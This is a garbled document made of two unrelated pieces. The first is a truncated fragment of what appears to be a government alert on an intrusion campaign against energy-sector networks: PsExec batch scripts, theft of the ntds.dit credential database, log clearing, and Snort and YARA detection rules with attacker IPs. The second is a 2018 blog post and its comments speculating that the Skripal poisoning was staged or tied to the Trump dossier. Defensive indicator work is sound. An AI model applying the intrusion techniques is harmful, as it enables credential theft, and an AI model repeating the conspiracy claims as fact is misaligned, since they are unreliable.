admins.txtcompleted_dclist.txtcompleted_trusts.txtcompleted_zone.txtcomps.txtconditional_forwarders.txtdomain_zone.txtenum_zones.txtusers.txtThe threat actors also collected the files ''ntds.dit'' and the ''SYSTEM'' registry hive. DHS observed the threat actors compress all of these files into archives named ''SYSTEM.zip'' and ''comps.zip''.
The threat actors used Windows' scheduled task and batch scripts to execute ''scr.exe'' and collect additional information from hosts on the network. The tool ''scr.exe'' is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of ''scr.exe'' matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report.
In at least two instances, the threat actors used batch scripts labeled ''pss.bat'' and ''psc.bat'' to run the PsExec tool. Additionally, the threat actors would rename the tool PsExec to ''ps.exe''.
The batch script (''pss.bat'' or ''psc.bat'') is executed with domain administrator credentials.The directory ''out'' is created in the user's %AppData% folder.PsExec is used to execute ''scr.exe'' across the network and to collect screenshots of systems in ''ip.txt''.The screenshot's filename is labeled based on the computer name of the host and stored in the target's C:\Windows\Temp directory with a ''.jpg'' extension.The screenshot is then copied over to the newly created ''out'' directory of the system where the batch script was executed.In one instance, DHS observed an ''out.zip'' file created.DHS observed the threat actors create and modify a text document labeled ''ip.txt'' which is believed to have contained a list of host information. The threat actors used ''ip.txt'' as a source of hosts to perform additional reconnaissance efforts. In addition, the text documents ''res.txt'' and ''err.txt'' were observed being created as a result of the batch scripts being executed. In one instance, ''res.txt'' contained output from the Windows' command ''query user'' across the network.
Using
Running -s cmd /c query user on
Running -s cmd /c query user on
Running -s cmd /c query user on
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
2 Disc 1+19:34 6/27/2017 12:35 PM
An additional batch script named ''dirsb.bat'' was used to gather folder and file names from hosts on the network.
In addition to the batch scripts, the threat actors also used scheduled tasks to collect screenshots with ''scr.exe''. In two instances, the scheduled tasks were designed to run the command ''C:\Windows\Temp\scr.exe'' with the argument ''C:\Windows\Temp\scr.jpg''. In another instance, the scheduled task was designed to run with the argument ''pss.bat'' from the local administrator's ''AppData\Local\Microsoft\'' folder.
The threat actors commonly executed files out of various directories within the user's AppData or Downloads folder. Some common directory names were
Chromex64,Microsoft_Corporation,NT,Office365,Temp, andUpdate.
Targeting of ICS and SCADA Infrastructure
In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., ''SCADA WIRING DIAGRAM.pdf'' or ''SCADA PANEL LAYOUTS.xlsx'').
The threat actors targeted and copied profile and configuration information for accessing ICS systems on the network. DHS observed the threat actors copying Virtual Network Connection (VNC) profiles that contained configuration information on accessing ICS systems. DHS was able to reconstruct screenshot fragments of a Human Machine Interface (HMI) that the threat actors accessed.
Cleanup and Cover Tracks
In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.
Threat actors cleaned up intended target networks through deleting created screenshots and specific registry keys. Through forensic analysis, DHS determined that the threat actors deleted the registry key associated with terminal server client that tracks connections made to remote systems. The threat actors also deleted all batch scripts, output text documents and any tools they brought into the environment such as ''scr.exe''.
Detection and Response
IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlists to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these threat actors.
Network Signatures and Host-Based Rules
This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actor TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.
Network Signatures
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/aspnet_client/system_web/4_0_30319/update/' (Beacon)"; sid:42000000; rev:1; flow:established,to_server; content:"/aspnet_client/system_web/4_0_30319/update/"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)
___________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/img/bson021.dat'"; sid:42000001; rev:1; flow:established,to_server; content:"/img/bson021.dat"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)
________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/A56WY' (Callback)"; sid:42000002; rev:1; flow:established,to_server; content:"/A56WY"; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)
_________________________________________
alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)"; sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9; content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG"; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)
________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri; fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)
_________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP Client Header contains 'User-Agent|3a 20|Go-http-client/1.1'"; sid:42000005; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; http_header; fast_pattern:only; pcre:"/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U"; classtype:bad-unknown; metadata:service http;)
__________________________________________
alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1 Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|"; fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)
YARA Rules
This is a consolidated rule set for malware associated with this activity. These rules were written by NCCIC and include contributions from trusted partners.
*/
rule APT_malware_1
{
meta:
description = "inveigh pen testing tools & related artifacts"
author = "DHS | NCCIC Code Analysis Team"
date = "2017/07/17"
hash0 = "61C909D2F625223DB2FB858BBDF42A76"
hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
hash2 = "BA756DD64C1147515BA2298B6A760260"
hash3 = "8943E71A8C73B5E343AA9D2E19002373"
hash4 = "04738CA02F59A5CD394998A99FCD9613"
hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
hash6 = "65A1A73253F04354886F375B59550B46"
hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
hash9 = "722154A36F32BA10E98020A8AD758A7A"
hash10 = "4595DBE00A538DF127E0079294C87DA0"
strings:
$s0 = "file://"
$s1 = "/ame_icon.png"
$s2 = "184.154.150.66"
$s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
$s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
$s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
$s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
$s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
$s8 = "NlZzSZk="
$s9 = "WlJTb1q5kaxqZaRnser3sw=="
$s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
$s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
$s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
$s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
$s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
$s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }
//inveigh pentesting tools
$s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
//specific malicious word document PK archive
$s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
$s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
$s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
$s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
$s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
$s22 = "5.153.58.45"
$s23 = "62.8.193.206"
$s24 = "/1/ree_stat/p"
$s25 = "/icon.png"
$s26 = "/pshare1/icon"
$s27 = "/notepad.png"
$s28 = "/pic.png"
$s29 = "http://bit.ly/2m0x8IH"
condition:
($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)
}
rule APT_malware_2
{
meta:
description = "rule detects malware"
author = "other"
strings:
$api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
$http_push = "X-mode: push" nocase
$http_pop = "X-mode: pop" nocase
condition:
any of them
}
rule Query_XML_Code_MAL_DOC_PT_2
{
meta:
name= "Query_XML_Code_MAL_DOC_PT_2"
author = "other"
strings:
$zip_magic = { 50 4b 03 04 }
$dir1 = "word/_rels/settings.xml.rels"
$bytes = {8c 90 cd 4e eb 30 10 85 d7}
condition:
$zip_magic at 0 and $dir1 and $bytes
}
rule Query_Javascript_Decode_Function
{
meta:
name= "Query_Javascript_Decode_Function"
author = "other"
strings:
$decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
$decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
$decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
$decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
$func_call="a(\""
condition:
filesize < > 20 and all of ($decode*)
}
rule Query_XML_Code_MAL_DOC
{
meta:
name= "Query_XML_Code_MAL_DOC"
author = "other"
strings:
$zip_magic = { 50 4b 03 04 }
$dir = "word/_rels/" ascii
$dir2 = "word/theme/theme1.xml" ascii
$style = "word/styles.xml" ascii
condition:
$zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
}
rule z_webshell
{
meta:
description = "Detection for the z_webshell"
author = "DHS NCCIC Hunt and Incident Response Team"
date = "2018/01/25"
md5 = "2C9095C965A55EFC46E16B86F9B7D6C6"
strings:
$aspx_identifier1 = "
MoA - Poisioned British-Russian Double-Agent Has Links To Clinton Campaign
Sun, 18 Mar 2018 13:59
March 08, 2018
Poisioned British-Russian Double-Agent Has Links To Clinton CampaignOn Sunday a former British-Russian double agent and his daughter were seriously injured in a mysterious incident in Salisbury, England. The British government says that both were hurt due to "exposure to a nerve agent". Speculative media reports talk of Sarin and VX, two deadly nerve-agents used in military chemical weapons. Anonymous officials strongly hint that 'Russia did it'.
New reports though point to a deep connection between the case and the anti-Trump/anti-Russia propaganda drive run by the Obama administration and the Hillary Clinton election campaign.
Sergei Skripal once was a colonel in a Russian military intelligence service. In the early 1990s he was recruited by the MI6 agent Pablo Miller. He continued to spy for the Brits after his 1999 retirement. The Russian FSB claims that the British MI6 paid him $100,000 for his service. At that time a Russian officer would only make a few hundred bucks per month. Skripal was finally uncovered in 2004 and two years later convicted for spying for Britain. He was sentenced to 18 years and in 2010 he and other agents ware exchanged in a large spy swap between the United States and Russia. Skripal was granted refuge in Britain and has since lived openly under his own name in Salisbury. His wife and his son died over the last years of natural causes. The only near relative he has left is his daughter who continued to live in Russia.
Last week his daughter flew to Britain and met him in Salisbury. On Sunday they went to a pub and a restaurant. At some point they were poisoned or poisoned themselves. They collapsed on a public bench and are now in intensive care. A policeman on the scene was also seriously effected.
Authorities have declined to name the substance to which the pair is suspected to have been exposed, but:
Local media had on Monday reported the substance found at the scene to be similar to fentanyl: a lethally strong opioid available even on Salisbury's soporific streets.
The British government is hinting at Russian involvement:
The attempted murder of ex-Russian spy Sergei Skripal and his daughter, Yulia, using a nerve agent was a "brazen and reckless" act, [home secretary] Amber Rudd has said.
Mr Skripal and his daughter are still critically ill after being found collapsed on a bench in Salisbury city centre on Sunday.
...
Ms Rudd told MPs it was an "outrageous crime", adding that the government would "act without hesitation as the facts become clearer".
She refused to speculate on whether the Russian state might have been involved in the attack, saying the police investigation should be based on "facts, not rumour".
While the British government is preparing the facts as it needs them, let us ask the ever important question of motive.
It was not Russian vengeance for Skripal's earlier spying. He had been in Russian jails for four years and lived openly in Salisbury for eight. There was plenty of time to off him. Russia certainly does not need any more anti-Russian propaganda in "western" media. If a Russian service would want to kill someone it would do so without making such noise.
The former British ambassador Craig Murray suspects a different motive and culprit:
Craig Murray @CraigMurrayOrg - 10:21 AM - 8 Mar 2018
Russophobia is extremely profitable to the armaments, security and spying industries and Russophobia reinforces intellectually challenged voters in their Tory loyalty. Ramping Russophobia is the most convincing motive for the Skripal attack.
Ambassador Murray also points out that Salisbury, where the incident took place, is just 8 miles away from Porton Down, a chemical weapon test site run by the British government. As the BBC noted in a report about the place:
... chemical agents such as VX and mustard gas are still manufactured on site ...
I believe that Craig Murray is wrong. Russophobia can be stoked without attempting to publicly kill a retired spy and his daughter.
More likely motives can be found in the tight connection to another important affair. The British Telegraphreports today:
A security consultant who has worked for the company that compiled the controversial dossier on Donald Trump was close to the Russian double agent poisoned last weekend, it has been claimed.
The consultant, who The Telegraph is declining to identify, lived close to Col Skripal and is understood to have known him for some time.
...
The Telegraph understands that Col Skripal moved to Salisbury in 2010 in a spy swap and became close to a security consultant employed by Christopher Steele, who compiled the Trump dossier.
The British security consultant, according to a LinkedIn social network account that was removed from the internet in the past few days, is also based in Salisbury.
On the same LinkedIn account, the man listed consultancy work with Orbis Business Intelligence, according to reports.
Meduzanamed the man the Telegraph declines to identify as:
Pablo Miller, who at the time was posing as Antonio Alvarez de Hidalgo and working in Britain's embassy in Tallinn. Russia's Federal Security Service says Miller was actually an undercover MI6 agent tasked with recruiting Russians.
Orbis is Christopher Steele's company which was paid by the Clinton campaign to make up or find 'dirt' about Trump. Sergei Skripal was an agent Steele himself was likely involved with:
Steele had spent more than twenty years in M.I.6, most of it focussing on Russia. For three years, in the nineties, he spied in Moscow under diplomatic cover. Between 2006 and 2009, he ran the service's Russia desk, at its headquarters, in London. He was fluent in Russian, and widely considered to be an expert on the country.
Steele was an MI6 undercover agent in Moscow around the time when Skripal was recruited and handed over Russian secrets to the MI6. He also ran the MI6 Russia desk so anything about Skripal will have passed through him. It is very likely that they personally knew each other. Pablo Miller, who worked for Steele's private company, lived in the same town as Skripal and they seems to have been friends since Miller had recruited him. Miller or someone else attempted to cover up the connection to Steele by editing his LinkedIn entry.
Here are some question:
Did Skripal help Steele to make up the "dossier" about Trump?Were Skripal's old connections used to contact other people in Russia to ask about Trump dirt?Did Skripal threaten to talk about this?If there is a connection between the dossier and Skripal, which seems very likely to me, then there are a number of people and organizations with potential motives to kill him. Lots of shady folks and officials on both sides of the Atlantic were involved in creating and running the anti-Trump/anti-Russia campaign. There are several investigations and some very dirty laundry might one day come to light. Removing Skripal while putting the blame on Russia looks like a convenient way to get rid of a potential witness.
Update: Steele's company issued a weak denial of Skripal's involvement in the dossier:
Sources close to Orbis, the business intelligence firm run by former MI6 agent Christopher Steele, who was behind a dossier of compromising allegations against Donald Trump, said Mr Skripal did not contribute to the file. But they could not say whether Mr Skripal was involved in different investigations into the US President for other interested parties.
The most curious point in the affair though is the visit of the daughter. She had just come from Moscow to visit her lonely father when both were poisoned in a rather sensational way. There must be some reason why she was involved in this.
Did she have a bad message for him?Did they both decide that suicide was the only way out?Was locally bought Fentanyl involved as the local press had reported?or
Was the lonely old man Sergej Skripal preparing to go back to his homeland Russia?Did he offer a some kind of "gift" as apology to the Russian government that his trusted daughter would take to Moscow?Did someone find out and stop the transfer?The above questions are all highly speculative. But the connection between Steele and Skripal is way too deep to be irrelevant here. It certainly deserves more digging.
Unfortunately it is likely that the British government, and its U.S. cousin, will come up with some "blame Russia" story for the gullible people and leave it at that. That story will involve some "brazen and reckless" Russian plot and an "outrageous" attempt by Putin himself to publicly kill a friend of Britain with some with highly dangerous weapon of mass destruction. This will then be used to throw up new tensions, to put more sanctions on Russia and to sell more weapons.
That official story though is unlikely to be the true one.
---
h/t to commenter yoffa for providing the Meduza link.
Posted by b on March 8, 2018 at 04:04 PM | Permalink
Seth Rich.
Awesome, thank you b,
I think this event is a ramp to offing Knesia Sobchak prior to or just after the national poll. She is a pawn of the West. She has been directed to consolidate the disparate liberal opposition campaigns by the use of primaries...which would just happen to result in her primacy. The idea is to have her win enough vote it can be alleged that she has embarrassed Putin...and then they six her using VX. Her father was close go Putin during Putin's early years in St Pete. The BBC has been running chaff out the foot saying Putin killed his mentor Anatoly Sobchak. Knesia has been moved into position. She will be offed to harm Putin's reputation but also to place e a complex wound in him. The West are monsters
Posted by: Whorin Piece | Mar 8, 2018 4:30:36 PM | 1
Ms Rudd told MPs it was an "outrageous crime", adding that the government would "act without hesitation as the facts become clearer".
Yeah, right.
Like the illegal invasion of a sovereign foreign country based on the lies by the same 'government', with a million+ casualties among the middle eastern population.
That kind of outrageous crime, correct?
One day the pendulum will swing back hard and merciless at these criminal warmongers and war profiteers. Disgusting how low what goes for 'homo sapiens' can sink.
Posted by: notheonly1 | Mar 8, 2018 4:40:39 PM | 3
I was wondering if Grigory Rodchenkov was in danger of meeting the same fate by some of the more unsavory elements of U.S. Intelligence Agencies. He would become a poster boy for Russian assassinations on U.S. soil.
One thing about Rodchenkov, if the doping was not state sponsored, what motive would have have for doing it on his own, is there enough money in the Olympics that individual athletes would bribe him or would it make him look better if his athletes did better? I don't buy that it was state sponsored, or at least there is no evidence to that affect.
Posted by: Christian Chuba | Mar 8, 2018 4:43:02 PM | 4
b... this is excellent coverage and speculation on your part.. thanks! i linked to that craig murray article the other day here.. i am sorry the guy had to suffer this, but man you are asking some good and hard questions that we may never get the answers to.. be interesting to see how much info if any, comes out on this..
Posted by: james | Mar 8, 2018 4:43:44 PM | 5
Sadly @3 we may have to wait for Judgement Day for that to happen. But if it comes about sooner, and in our lifetime, it will be a day of rejoicing!
Posted by: xLemming | Mar 8, 2018 5:05:53 PM | 7
@yoffa @2 - thank you. Your link does not work, here is a good one: A hundred grand and hundreds of betrayed agentsWhat was former GRU Colonel Sergey Skripal's treason against Russia?
Having worked for Russia's Military Intelligence Directorate (GRU) since the Soviet era, Sergey Skripal was recruited in 1995 by the British agent Pablo Miller, who at the time was posing as Antonio Alvarez de Hidalgo and working in Britain's embassy in Tallinn. Russia's Federal Security Service says Miller was actually an undercover MI6 agent tasked with recruiting Russians.
The first reports about Miller's work in Russia emerged in the early 2000s, after multiple Russians arrested for spying fingered Miller as their recruiter. For example, former tax police Major Vyacheslav Zharko says it was Miller who recruited him. He says it was Boris Berezovsky and former Federal Security Service (FSB) agent Alexander Litvinenko who introduced him to British intelligence agents. Zharko surrendered himself to Russian officials when he learned about the British authorities' suspicions that another former FSB officer, Andrey Lugovoi, had poisoned Litvinenko with polonium.
Litvinenko also worked for MI6 ..
Skripal, however, never turned himself in. For nine years, according to the FSB, he collaborated actively with British intelligence, transmitting information about Russian agents.
Nikolai Luzan, who calls himself a colonel and a veteran of Russia's security agencies, wrote a detailed book about how the British recruited Sergey Skripal. Luzan says his book, ''A Devil's Counterintelligence Dozen,'' is an ''artistic-documentary production.''
If we assume that Luzan's account is generally accurate, then Skripal was recruited during a long-term assignment in Malta and Spain, where he ''got greedy.''
...
Further on:
Skripal led a quiet life in Salisbury, where he reportedly bought an average house for 340,000 British pounds (about $472,000). His neighbors describe him as an ordinary, reasonably friendly pensioner. When he moved to the area, he even invited the whole street over for a housewarming party.
It's unclear why Skripal decided to resettle specifically in Salisbury, but LinkedIn indicates that Pablo Miller '-- the MI6 agent who recruited him '-- lives in the same town. In 2015, the year he retired, Miller received the Order of the British Empire for services to Her Majesty's Government.
Skripal's wife, Lyudmila, lived with him in Salisbury until her death a few years ago. His son died from liver failure in 2017 in St. Petersburg.
It must be Pablo Miller who worked with Steele ...
Who/what paid Skripal a $472,000 house and a pension? That is way more than the reported $100,000 he earlier got. What did he do to earn the higher pay?
Posted by: b | Mar 8, 2018 5:07:11 PM | 8
Seems Skripal was a British spy at the end. If he required killing, it would have happened long ago as b asserts. Clearly, he knew something dangerously compromising to make himself a target. The UK's fairly well covered by CCTV; I'd be very interested in what those in Salisbury observed. The incident has La Carre written all over it.
Posted by: karlof1 | Mar 8, 2018 5:12:03 PM | 9
If someone like MI6 for FSB wanted him dead they would be instantly in a car accident of robbery attempt, they whoever they are, wanted this to thing to prolong in time to feed the press Russia gate and wanted people like b to follow the trap since most of the info here can be found just after few clicks, will be picked up by rational people.
If b is too moral to consider killing injuring unrelated, innocent people for propaganda as it was 9/11 whoever did it, he must wake up. These days, days of phony YT,FB Twitter reality, the only value is propaganda value nothing else, anybody will be thrown under the bus if this fits aims of ruling elite even some oligarchs who are rich only because their submit to rape of ruling elite as high paid prostitute while the rest are raped for free.
If fact they will supress details of that crime just to obfuscate obvious perpetrators in a cloud of conspiracy theories in fact mining people's brains busy them up like little ants like Bitcoin miners waste electricity and computer power for delusional quest of riches.
In the society of control ruling elite controls everything it needs to control and hence is responsible for this. Case closed.
Posted by: Kalen | Mar 8, 2018 5:21:30 PM | 10
@all - I updated the piece with some of the new details the Yoffa link @2 provided.
Posted by: b | Mar 8, 2018 5:33:45 PM | 11
The Independent: Sergei Skripal: Former double agent may have been poisoned with nerve agent over 'freelance' spying, sources say
The Russian double agent poisoned in Salisbury may have become a target after using his contacts in the intelligence community to work for private security firms, investigators believe.
Sergei Skripal could have come to the attention of certain people in Russia by attempting to ''freelance'' for companies run by former MI5, MI6 and GCHQ spies, security sources say.
...
Sources close to Orbis, the business intelligence firm run by former MI6 agent Christopher Steele, who was behind a dossier of compromising allegations against Donald Trump, said Mr Skripal did not contribute to the file. But they could not say whether Mr Skripal was involved in different investigations into the US President for other interested parties.
A very believable denial by Steele. Not.
Posted by: b | Mar 8, 2018 5:39:21 PM | 12
it's interesting how quickly the denial from steele comes out...
is skripal dead yet, or still alive? i wonder if he comes back, what he says? i guess we will never know either way...
Posted by: james | Mar 8, 2018 5:56:08 PM | 13
For me it was particularly suss when the Leceister Police who are the coppers on the ground in Salisbury were heavied by Scotland Yuk ( or 'the met' as englander papers call that gang of proven torturers & murderers) to turn the Skripsky investigation over to the 'counter-terror squad' - the mob of thugs whose skillful manipulation of england's media combined with evidence falsification made their indicted murder of Brazilian electrician Jean Charles de Menezes seem like an heroic act by playing the old honest whitefella card - "all those brownfellas look the same, who can tell the difference?" . No copper, not the killers or the idiot in charge suffered any disciplinary actiion, much less a criminal one. IIRC the policeperson in charge who claimed to be 'in the bathroom' at the time of de Menzeses murder, one Cressida Dick, is now chief commissioner, the boss of Scotland Yuk.
The local coppers know the area and will have a rapport with witnesses that a mob of arseholes in sharp suits backed by balaclava wearing armed heavies is unlikely to enjoy, so why grab the gig especially since it is certain to remain unsolved?
Well partly that, to make sure it remains unsolved, but also because counter-terror plays the press release regurgitators who are englander 'journos' like a fine old violin. Questions about fentanyl being a nerve agent get tricky? Spin the chooks a yarn about evil a-rabs you have met.
Posted by: Debsisdead | Mar 8, 2018 6:02:23 PM | 14
Kalen is right. Such a flamboyant killing is not how modern intelligence agencies dispose of problems. Unless they want to draw attention to their work.
Maybe there's a bunch of people around the Christopher Steele dossier thinking of talking. What better way to shut them up than to knock off a Steele source.
Posted by: Uncoy | Mar 8, 2018 6:21:20 PM | 15
Very good work, B. Thanks for your website, best on the web.
Posted by: Peter | Mar 8, 2018 6:33:27 PM | 16
It could always be a simple & rather human explanation - The daughter was struggling for cash at home, dad was old but refused to die & had a stash of cash from his past, she knocked him off to get an earlier inheritance but being an amateur at this she did herself in too, which would be poetic justice...?
Posted by: sadness | Mar 8, 2018 6:41:55 PM | 17
....oh i forgot to add....or it was a sad suicide pact between them when all else was lost & over
Posted by: sadness | Mar 8, 2018 6:49:11 PM | 18
It is highly unlikely that fentanyl was the toxin that poisoned Skribal and his daughter. That hypothesis should be excluded at this point.
The main reason for this is that the patrol man who discovered them also came down with similar symptoms. Fentanyl is extremely toxic when injected intravenously. But not to any one coming into contact with them, touching them or even performing mouth to mouth resusication.
There are numerous acetyl choline inhibitors (e.g. sarin, vx, and many other similar compounds that have never been approved for chemical warfare) that can cause symptoms if someone comes into contact with an intoxicated patient especially one has be exposed externally.
Also the Portland Down lab has identified an ACE inhibitor (of course, that is part of the British military and they could very easily be lying.)
In any case, this looks like a nerve toxin poison, fentanyl is not in that class.
Posted by: ToivoS | Mar 8, 2018 7:08:41 PM | 19
Fentanyl patchs are used to control intense chronic pain...If he resigned from GRU because of health issues, as the "Meduzas" affirm, it might be related to this chronic pain and so he could well be a patient using this drug for pain control.....
Thus, fentanyl is not a nerve agent, but an anesthesic in any case....All could well be a performance...to blame the Russians and contribute to scare the population about them previous to some machination to be mounted at......Do not forget that that factory of mannequin challenges broadcasts, the White Helmets, is also a British "enterprise", creation of "former" MI6 LeMesurier....
Posted by: Fatima Manoubia | Mar 8, 2018 7:08:44 PM | 20
Yesterday when questions about fentanyl were raised, the sick policeman was identified, up until that point all that had been said was that the bill first on the scene were admitted to be checked out by medics. Today the close to death's door copper is in fine fettle once again. I leave it up to others to decide whether he was crook (sick - an Oz term) or the imported police were crooks (lying).
Media management and playing the old "backs to the wall boys & girls, its the blitz all over again" is what the 'counter-terror' mob do. If they were really opposed to scaring the bejeezuz outta englanders which is what their name implies they would A) be better at preventing actions which they hadn't cranked up themselves for entrapment and B) not imagine it was on the up and up to terrify the burghers of Salisbury with yarns about possible 'nerve agent' on the loose that were placing the town's population at risk.
The initial cops played the whole thing really low key, it seemed as tho they wanted to get to the bottom of whatever happened, but their replacements 'counter-terror' appear to devote more time and energy to seducing credulous journos than they do trying to find out what actually did occur. The form of this gang of sleek deceitful killers means that just because they claim this local woodentop was poisoned, it doesn't mean that is what actually befell him.
Posted by: Debsisdead | Mar 8, 2018 7:40:41 PM | 21
Over in the states there have been reports about carfentanil poisoning responders to overdoses because of trace amounts. It is reported as 100 x as powerful as fentanyl. So maybe a chemical cousin is a possible consideration.
Posted by: Duck1 | Mar 8, 2018 7:49:18 PM | 22
It seems that MI6 was keeping Sergei Skripal on a tight leash by having him live in Salisbury close to Pablo Miller who must be the old fellow's minder as well as recruiter. One way of keeping Skripal on this leash must be to supply him with an addictive painkiller, for whatever pain he is suffering (physical, perhaps psychological?), and fentanyl fits the bill.
Fentanyl also fits the bill for a poisoning agent that also affected the police officer who attended the Skripals. The fentanyl epidemic is apparently forcing emergency and first-response personnel to re-evaluate procedures in handling patients so that they themselves are not affected by sniffing fentanyl accidentally.
B's suggestion that Skripal might be longing to return to and die in Russia, and that he was offering a "gift" to Moscow via his daughter (or maybe even a letter apologising for his treachery and begging for forgiveness, Berezovsky-style) is a stroke of genius. Makes me think that Boris Berezovsky's death merits more attention and cannot be brushed off as a suicide.
Posted by: Jen | Mar 8, 2018 7:54:30 PM | 23
sadness @17 & 18--
Nobody died. Only 3 remain in hospital and are not endangered.
On a park bench, they were discovered. I'll bet my best fishing lure that location's covered by a CCTV whose footage will provide all the answers--unless we aren't to be shown, due to national security or some such.
Posted by: karlof1 | Mar 8, 2018 7:59:42 PM | 24
